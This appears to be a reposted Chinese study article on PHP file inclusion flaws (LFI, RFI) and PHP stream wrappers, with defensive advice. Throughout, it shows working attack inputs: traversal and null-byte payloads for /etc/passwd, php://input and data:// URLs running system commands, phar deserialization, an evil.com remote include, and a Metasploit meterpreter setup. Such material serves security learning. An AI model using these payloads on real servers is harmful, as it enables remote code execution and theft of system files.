LFI、RFI、PHP封裝協議安全問題學習


1. 文件包含的基本概念

嚴格來說,文件包含漏洞是"代碼注入"的一種。"代碼注入"這種攻擊,其原理就是注入一段用戶能控制的腳本或代碼,並讓服務器端執行。
"代碼注入"的典型代碼就是文件包含(File Inclusion),我的理解是叫"外部數據流包含",至於這個外部數據流是什么,可以是文件,也可以是POST數據流的形式。
文件包含可能會出現在JSP,PHP,ASP等語言中。

PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP/Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include virtual

在PHP中,當使用這4個函數包含一個新的文件時,該文件將作為PHP代碼執行,PHP的內核並不會在意被包含的文件是什么類型。所以如果被包含的是txt、圖片、遠程URL。也都會被當作PHP代碼執行(圖片型木馬的原理也就在這里)。

要想成功利用文件包含漏洞,需要滿足下面的條件

0x1:include()等函數通過動態變量的方式引入需要包含的文件

(攻擊者可以本地變量任意覆蓋的漏洞或者自定義前綴的漏洞來達到這個動態引入的漏洞利用)

example:
<?php
$file = $_GET['file'];
@include_once("$file" . "/templete/tpl.html");
?>
黑客可以采取:
1) %00、/0截斷的方式使程序包含攻擊者想要的文件
2) 攻擊者輸入一個remote url: http://www.evil.com/index.php? ,如果目標服務器開啟了allow_url_include = On則這句代碼表現為: @include_once("http://www.evil.com/index.php?/templete/tpl.html");
可以看到,根據HTTP參數的定義,"?"后面的內容被當作了傳給這個腳本的參數,從而達到了00截斷相同的效果

0x2:用戶能夠控制該動態變量

<?php
$file = $_GET['file'];
@include_once("$file");
?>
這種情況的利用方式就更多了,接下來我會盡我所能,把我搜集到的資料分享給大家

Relevant Link:  

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0
http://hi.baidu.com/txcbg/item/c9549af659b3de0dd99e725e
http://cn2.php.net/manual/zh/wrappers.php
http://www.wechall.net/

 

2. LFI(Local File Include)本地文件包含

在探討本地文件包含的漏洞之前,我覺得有必要先一下本地文件包含的作用。在WEB開發中為什么要使用本地文件包含,它有什么作用。

一般來說,本地文件包含(即include)有以下幾點作用

1) 將網站頁面通用的page_header.php(常常顯示banner信息等)、頁面尾部page_footer.php(常常顯示版權信息等)獨立出來,這樣在任何頁面需要的時候就可以直接通過include方式引入進來,提高了代碼的重用性,加快了開發速度
2) 將通用配置文件,例如數據庫連接文件database.php單獨封裝出來,方便需要進行數據庫連接的時候就可以直接通過include方式引入進來
3) 將一些涉及到安全過濾、輸入檢測的代碼邏輯單獨封裝成一個secure.php文件,這樣就可以在整個WEB系統中進行統一的安全過濾處理,防止因為各個業務場景的代碼邏輯不一致導致的漏洞
4) WEB系統中廣泛采用的文件緩存、數據緩存都是通過include方式完成的

了解了LFI的應用場景之后,我們來學習一下LFI的成因、以及可能產生的安全問題

能夠打開並包含本地文件的漏洞,被稱為本地文件包含漏洞(Local File Inclusion LFI)

下面是一段測試代碼:

<?php
// "../../etc/passwd\0"
$file = $_GET['file']; 
if(file_exists('/home/wwwrun/' . $file . '.php'))
{
inlcude '/home/wwwrun/' . $file . '.php';
}
?>

這個方案看似很安全,程序員把inlcude路徑的前綴部分、后綴部分都給控制住了。相比於連路徑的前綴都由用戶控制的那種漏洞已經安全多了。但是這里存在幾個問題

0x1:00字符截斷

PHP內核是由C語言實現的,因此使用了C語言中的一些字符串處理函數。在連接字符串時,0字節(\x00)將作為字符串的結束符。所以在這個地方,攻擊者只要在最后加入一個0字節,就能截斷file變量之后的字符串。

../etc/passwd\0

通過web輸入時,只需UrlEncode,變成:

../etc/passwd%00

字符串截斷的技巧,也是文件包含中最常用的技巧

防御方法:
在一般的web應用中,0字節用戶其實是不需要的,因此完全可以禁用0字節

<?php
    function getVar($name)
    {
        $value = isset($_GET[$name]) ? $_GET[$name] : null;
      if(is_string($value))
      {
          $value = str_replace("\0", '', $value);
      }
  }  
?>

0x2:超長字符截斷

采用00字符過濾並沒有完全解決問題,

利用操作系統對目錄最大長度的限制,可以不需要0字節而達到截斷的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
我們知道目錄字符串,在window下256字節、linux下4096字節時會達到最大值,最大值長度之后的字符將被丟棄。
而利用"./"的方式即可構造出超長目錄字符串:

././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc

延伸一個話題:

這種截斷型漏洞我覺得和有一種數據庫截斷的導致越權訪問的漏洞類似:

在數據庫的表中一般會對某個字段的長度進行限制,如果長度超過了這個長度會被數據庫自動截斷,如果原本存在一個admin賬戶(並且長度限制為5),那么攻擊者可以嘗試注冊admin_test,但是因為數據庫的長度限制,導致被截斷了,也變成了admin,這種漏洞利用思想就是利用兩個系統范圍之間的標准不一致導致的繞過思路)
。操作系統把目錄字符串的超出部分截斷了,反過來導致了攻擊者可以任意控制想要輸入的文件名

除了incldue()等4個函數之外,PHP中能夠對文件進行操作的函數都有可能出現漏洞。雖然大多數情況下不能執行PHP代碼,但能夠讀取敏感文件帶來的后果也是比較嚴重的。例如: fopen()、fread()

0x3: 任意目錄遍歷

除了這種攻擊方式,還可以使用"../../../"這樣的方式來返回到上層目錄中,這種方式又被稱為"目錄遍歷(Path Traversal)"。常見的目錄遍歷漏洞,還可以通過不同的編碼方式來繞過一些服務器端的防御邏輯(WAF)

%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..\
%2e%2e%\    ->    ..\
..%5c     ->    ..\
%252e%252e%255c    ->    ..\
..%255c     ->    ..\

防御方法:
目錄遍歷漏洞是一種跨越目錄讀取文件的方法,但當PHP配置了open_basedir時,將很好地保護服務器,使得這種攻擊無效。
open_basedir的作用是限制在某個特定目錄下PHP能打開的文件(有點像chroot的感覺)

比如在沒有設置open_basedir時,文件包含漏洞可以訪問任意文件

http://localhost/FIleInclude/index.php?file=../Time/index

當設置了open_basedir時:

open_basedir = E:\wamp\www\FIleInclude\
http://localhost/FIleInclude/index.php?file=../Time/index
Warning: file_exists(): open_basedir restriction in effect. File(../Time/index.php) is not within the allowed path(s): (E:\wamp\www\FIleInclude\) in E:\wamp\www\FIleInclude\index.php on line 4
Call Stack
文件包含失敗!!!

綜上,要防御LFI的漏洞,應該盡量避免包含動態的變量,尤其是用戶可以控制的變量。一種變通的方式,則是使用枚舉:

<?php
    $file = $_GET['file'];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
        case "bar":
            include "/home/wwwrun/include" . $file . ".php";
            break;
        default:
            include "/home/wwwrun/include/main.php";
    }
?>

這是一種參數化白名單的防御思想。通過將可能的值限定在一個可能的范圍內來控制風險。$file的值被枚舉出來,也就避免了因為用戶的非法輸入導致文件包含的風險。

 

3. RFI(Remote File Include)遠程文件包含

遠程文件包含本質上和LFI(本地文件包含)是同一個概念,只是被包含的"文件源"(我們之后會了解到其實是流源)不是從本次磁盤上獲得,而是從外部輸入流得到。

如果PHP的配置選項allow_url_include為ON的話,則include/require函數可以加載遠程文件,這種漏洞被稱為"遠程文件包含漏洞(Remote File Inclusion RFI)"。

為了更好地說明,我們還是准備一段典型代碼:

<?php 
    $basePath = $_GET['path'];
    require_once $basePath . "/action/m_share.php";  
?>

這里看似將路徑的后半段都定死了,但是結合HTTP傳參的原理可以繞過去

攻擊者可以構造類似如下的攻擊URL

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

產生的原理:

/?path=http://localhost/test/solution.php?
最終目標應用程序代碼實際上執行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意,這里很巧妙,問號"?"后面的代碼被解釋成URL的querystring,這也是一種"截斷"思想,和%00一樣)
攻擊者可以在http://localhost/test/solution.php上模擬出相應的路徑,從而使之吻合

防御思路:

1. 關閉遠程文件包含的配置選項
allow_url_include = Off

關於LFI還有另一種攻擊方式,我們將在接下來學習了PHP的偽協議封裝器、流之后理解到它的原理

 

4. PHP中的封裝協議(偽協議)、PHP的流式文件操作模式所帶來的問題

我們知道,我們利用遠程/本地文件包含漏洞的目的有以下幾個:

1) 越權訪問文件(/etc/passwd)
    1.1) 00截斷
    1.2) 超長截斷
    1.3) 目錄遍歷的攻擊方式
2) 任意代碼執行
    2.1) 通過正常、非正常將一個包含有腳本代碼的文件上傳到服務器上(常常是.jpg圖片格式,將代碼藏在圖片中),然后在攻擊paylaod中引入這個包含腳本代碼的文件,使代碼得以執行(圖片木馬)
    2.2) 通過包含服務器上的WEB系統原本就存在的.php腳本文件達到改變代碼邏輯的目的
    2.3) 通過RFI(遠程文件包含)將I/O流、協議流的資源描述符作為文件包含的輸入源,從而利用HTTP通信將任意代碼注入原始的腳本執行空間中

 接下來,我們將逐一學習PHP中的封裝協議

http://cn2.php.net/manual/zh/wrappers.php

PHP 帶有很多內置 URL 風格的封裝協議(scheme://... ),可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。 除了這些封裝協議,還能通過 stream_wrapper_register() 來注冊自定義的封裝協議。和javascript在瀏覽器中實現的一些的偽協議類似,PHP的偽協議提供了另一種"非常規"的方式進行數據的輸入、輸出

我對它們進行了一個大致的分類,分別對應於不同類型的漏洞攻擊方式

0x1: 越權訪問本地文件

1、file:// — 訪問本地文件系統

文件系統是PHP使用的默認封裝協議,展現了本地文件系統

<?php
  $res = file_get_contents("file://E://wamp//www//test//solution.php");
  var_dump($res);
?>

這里的要重點注意,file://這個偽協議可以展示"本地文件系統",當存在某個用戶可控制、並得以訪問執行的輸入點時,我們可以嘗試輸入file://去試圖獲取本地磁盤文件

http://www.wechall.net/challenge/crappyshare/index.php

http://www.wechall.net/challenge/crappyshare/crappyshare.php

在這題CTF中,攻擊的關鍵點在於:curl_exec($ch)

function upload_please_by_url($url)
{ 
  if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL? 
  {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    if (false === ($file_data = curl_exec($ch)))
    {
      htmlDisplayError('cURL failed.');
    }
    else
    {
      // Thanks
      upload_please_thx($file_data);
    }
  }
  else
  {
    htmlDisplayError('Your URL looks errorneous.');
  }
}

當我們輸入的file://參數被帶入curl中執行時,原本的遠程URL訪問會被重定向到本地磁盤上,從而達到越權訪問文件的目的

2、php://filter -- 對本地磁盤文件進行讀寫

php://filter是一種元封裝器,設計用於"數據流打開"時的"篩選過濾"應用。這對於一體式(all-in-one)的文件函數非常有用,類似readfile()、file()、file_get_contens(),在數據流內容讀取之前沒有機會應用其他過濾器

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+   (base64解密就可以看到內容,這里如果不進行base64_encode,則被include進來的代碼就會被執行,導致看不到源代碼)

向磁盤寫入文件

<?php
  /* 這會通過 rot13 過濾器篩選出字符 "Hello World"
  然后寫入當前目錄下的 example.txt */
  file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
這個參數采用一個或以管道符 | 分隔的多個過濾器名稱

0x2: 代碼任意執行

1、php:// — 訪問各個輸入/輸出流(I/O streams)

http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標准輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
1.1) php://input
php://input 是個可以訪問請求的原始數據的只讀流(這個原始數據指的是POST數據)

<?php
    $res = file_get_contents("php://input");
    var_dump($res);
?>
post提交數據:hello
result: hello

偽協議php://input需要服務器支持,同時要求"allow_url_include"設置為"On"

利用偽協議的這種性質,我們可以將LFI衍生為一個code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863

<?php 
  @eval(file_get_contents('php://input'))
?> 
http://localhost/test/index.php
post: system("dir");
result: list directory

這本質上遠程文件包含的利用,我們知道,遠程文件包含中的include接收的是一個"資源定位符",在大多數情況下這是一個磁盤文件路徑,但是從流的角度來看,這也可以是一個流資源定位符,即我們將include待包含的資源又重定向到了輸入流中,從而可以輸入我們的任意code到include中

<?php
  @include($_GET["file"]);
?>
http://localhost/test/index.php?file=php://input
post: <?php system('ipconfig');?>
result: ip information

(有一點要注意)
<?php echo file_get_contents("solution.php");?>
在利用文件包含進行代碼執行的時候,我們通過file_get_contents獲取到的文件內容,如果是一個.php文件,會被當作include的輸入參數,也就意味着會被再執行一次,則我們無法看到原始代碼了,解決這個問題的方法就是使用base64_encode進行編碼
<?php echo base64_encode(file_get_contents("solution.php"));?>

php://偽協議框架中還有其他的流,但是和源代碼執行似乎沒有關系,這里也列出來大家一起學習吧
php://output是一個只寫的數據流,允許我們以print和echo一樣的方式寫入到輸出緩沖區

<?php
  $data = "hello LittleHann";
  $res = file_put_contents("php://output", $data); 
?>
result: hello LittleHann

php://memory和php://temp是一個類似"文件包裝器"的數據流,允許讀寫"臨時數據"。兩者唯一的區別是:

1) php://memory 總是把數據存儲在內存中
2) php://temp會在內存量達到預定義的限制后(默認是2M)存入臨時文件中

臨時文件位置的決定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")

<?php
  $fp = fopen("php://memory", 'r+');
  fputs($fp, "hello LittleHann!!!\n");
  rewind($fp);
  while(!feof($fp))
  {
    echo fread($fp, 1024);
  }
  fclose($fp);
?>
result:
hello LittleHann!!!

2、data://偽協議

http://www.php.net/manual/zh/wrappers.data.php
這是一種數據流封裝器,data:URI schema(URL schema可以是很多形式)

利用data://偽協議進行代碼執行的思路原理和php://是類似的,都是利用了PHP中的流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中

data:text/plain,...

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?>
result: user information

data://text/base64,...

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information

data://image/jpeg;base64,...

<?php 
  $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata'])); 
?>
圖片木馬 

0x3: 目錄遍歷

1、glob://偽協議

glob:// 查找匹配的文件路徑模式

<?php
  // 循環 ext/spl/examples/ 目錄里所有 *.php 文件
  // 並打印文件名和文件尺寸
  $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
  foreach($it as $f) 
  {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
  }
?>

0x4: 利用流包裝器(stream wrapper)

1、zip或phar協議包含文件

假設目標應用中有如下代碼:

<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

上面的代碼包含了一個文件包含的功能,但是它驗證了后綴是否為jpg,然后才包含。

對於現在這種情況,要包含php文件,實現lfi的話,可以通過截斷。但是\x00的截斷在php>5.3.4就沒用了,而且還要考慮GPC。那有沒有其他的方法呢?答案是有的。

其實我們可以通過zip協議和phar協議來包含文件。

1)zip://

首先我們新建一個zip文件,里面壓縮着一個php腳本。

 

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg 

 

2)phar:// 

首先我們要用phar類打包一個phar標准包

<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ; 
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg', 
$x); 
?>

會生成一個zip的壓縮文件。然后我們構造

http://127.0.0.1/file.php?file=phar://phartest2.zip/a.jpg 

也可以直接shell。

這種攻擊方式對webshel檢測來說是一個十分困難的問題,其本質在於實際webshell的利用形態和webshell文本之間,存在 N:1 的多模態關系。

通俗的說就是,對於一個簡單的文件包含代碼來說:

<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

根據其傳入參數的不同(上下文的不同),可以有 N 種不同的利用形態,這就導致旁路檢測無法對所有可能的路徑進行模擬。

Relevant Link:  

https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html

2、phar協議對象注入

Phar(PHP Archive)文件可以包含序列化格式的元數據,這個機制允許我們內建一些回調函數在Phar class中,在處理文件的時候同時,實現一些代碼邏輯。

讓我們創建一個Phar文件,並添加一個包含一些數據作為元數據的對象:

<?php 
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
?>

我們新建的test.phar文件有以下內容。我們可以看到對象被存儲為一個序列化的字符串。

如果現在通過phar://對我們現有的Phar文件執行文件操作,則其序列化元數據將被反序列化。這意味着我們在元數據中注入的對象被加載到應用程序的范圍中。

如果此應用程序具有已命名的AnyClass類並且具有魔術方法destruct()或wakeup()定義,則會自動調用這些方法。這意味着我們可以在代碼庫中觸發任何析構函數或wakeup方法。 

class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');

值得注意的是, 不僅限於include,任何文件相關的api都可以觸發phar協議,例如fopen()、unlink()、stat()、fstat()、fseek()、rename()、opendir()、rmdir()、mkdir()、file_get_contents,例如:

<?php
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>

對於旁路檢測來說,相比於RASP,因為其無法拿到實際入侵中的攻擊流量,導致其搜索空間會十分巨大。

Relevant Link:

https://www.php.net/manual/zh/phar.using.stream.php
https://www.freebuf.com/articles/web/182231.html

 

5. 文件包含可能存在的其他利用方式

這里用"可能"存在是因為有些利用方式和WEB系統的具體業務場景、代碼邏輯、服務器的版本、配置有關,不具有通用性

0x1: 包含Session文件

包含Session文件的條件也較為苛刻,它需要攻擊者能夠"控制"部分Session文件的內容。
x|s:19:"<?php phpinfo(); ?>"
PHP默認生成的Session文件往往存放在/tmp目錄下
/tmp/sess_SESSIONID

0x2: 包含日志文件,比如Web Server的access.log

包含日志文件是一種比較靈活的技巧,因為服務器一般都會往web server的access_log里記錄客戶端的請求信息,在error_log里記錄出錯信息。因此攻擊者可以間接地將PHP代碼寫入到日志文件中,在文件包含時,只需要包含日志文件即可

織夢CMS的一個利用mysql的錯誤語句,然后程序會把錯誤信息寫入到網站的目錄下的一個.php文件中。攻擊者只要在這此的錯誤請求中附帶上PHP代碼,就可以達到getshell的目的,就是這個思路
http://sebug.net/vuldb/ssvid-12154
利用了MySQL字段數值溢出引發錯誤和DEDECMS用PHP記錄數據庫錯誤信息並且文件頭部沒有驗證的漏洞

MSF攻擊模塊

use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z

0x3: 包含/proc/self/environ文件

包含/proc/self/environ是一種更通用的方法,因為它根本不需要猜測包包含文件的路徑,同時用戶也能控制它的內容。

http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ
SSH_AGENT_PID=4314
HOSTNAME=localhost.localdomain
DESKTOP_STARTUP_ID=TERM=xtermSHELL=/bin/bash
HISTSIZE=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/var/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/var/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:0.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/var/log

0x4: 包含上傳的臨時文件(RFC1867)

但PHP創建的上傳臨時文件,往往處於PHP允許訪問的目錄范圍內。

PHP處理上傳文件的過程是這樣的:

HTTP POST with a file arrives
PHP begins analysis
PHP creates temp file
PHP writes data to temp file
PHP close temp file
script execution begins
[optional] script moves uploaded file
script execution ends
PHP removes temp files(if any)

PHP會為上傳文件創建臨時文件,其目錄在php.ini的upload_tmp_dir中定義。但該值默認為空,此時在linux下會使用/tmp目錄,在windows下會使用C:\windows\temp目錄。
該臨時文件的文件名是隨機的,攻擊者必須准確猜測出該文件名才能成功利用此漏洞(之前分析的偽隨機數漏洞)。

PHP在此處並沒有使用安全的隨機函數,因此使得暴力猜解文件名成為可能。在windows下,僅有65535種不同的文件名。
http://www.exploit-db.com/download_pdf/17010/

在Sun Java 6 Update 11之前的createTempFile()中存在一個隨機數可預測的問題,在短時間內生成的隨機數實際上是順序增長的

http://hi.baidu.com/aullik5/item/2f851fc4bf9f3266f7c95dc2

import java.io.*;
public class getTemp 
{
    public static void main(String[] args)
    {
        File f = null;
        String extension = ".tmp";
        try
        {
            for(int i = 0; i < 100; i++)
            {
                f = File.createTempFile("temp", extension);
                System.out.println(f.getPath());
            }
        }
        catch(IOException e)
        {
            //
        }
    }
}

 

6. 后記

本文對文件包含的學習就到這里了,這里推薦一個網站,國外辦的一個長期的learning site,題目蠻不錯的,可以學到不少東西

http://www.wechall.net/challenge/warchall/live_rfi/index.php
http://www.wechall.net/challenge/warchall/live_lfi/index.php

下一步准備學習一下java,struct開發相關的知識,希望以后能涉及一些java方面的代碼審計,滲透技巧

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM